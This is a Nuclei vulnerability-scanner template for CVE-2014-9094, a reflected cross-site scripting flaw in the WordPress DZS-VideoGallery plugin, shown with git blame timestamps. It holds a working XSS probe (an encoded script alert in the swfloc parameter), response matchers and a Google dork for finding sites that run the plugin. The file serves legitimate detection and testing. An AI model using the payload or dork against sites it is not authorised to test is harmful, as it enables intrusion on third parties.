nuclei-templates/http/cves/2014/CVE-2014-9094.yaml

51 lines
1.8 KiB
YAML
Raw Normal View History

2021-07-11 01:43:01 +00:00
id: CVE-2014-9094
info:
name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting
2021-07-11 01:43:01 +00:00
author: daffainfo
severity: medium
description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
2023-09-06 13:22:34 +00:00
remediation: |
Update to the latest version of the WordPress DZS-VideoGallery Plugin, which includes a fix for this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-9094
- http://websecurity.com.ua/7152/
- http://seclists.org/fulldisclosure/2014/Jul/65
classification:
2022-09-06 01:33:31 +00:00
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
2023-07-11 19:49:27 +00:00
cvss-score: 4.3
cve-id: CVE-2014-9094
2022-09-06 01:33:31 +00:00
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.83554
epss-percentile: 0.9807
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:digitalzoomstudio:video_gallery:-:*:*:*:*:wordpress:*:*
2022-07-11 17:26:28 +00:00
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: digitalzoomstudio
product: video_gallery
2023-09-06 13:22:34 +00:00
framework: wordpress
google-query: inurl:"/wp-content/plugins/dzs-videogallery"
tags: cve2014,wordpress,xss,wp-plugin,seclists,cve
2021-07-11 01:43:01 +00:00
http:
2021-07-11 01:43:01 +00:00
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
words:
- "<script>alert(1)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100f43c7b848b13032b8f0940ea49c1d583928928f0f784b4da66b174abd64fb67f02202bcbdb57166f767af03621f7ba028f3a3f5fbdec310e1ed4507fcc2914048160:922c64590222798bb761d5b6d8e72950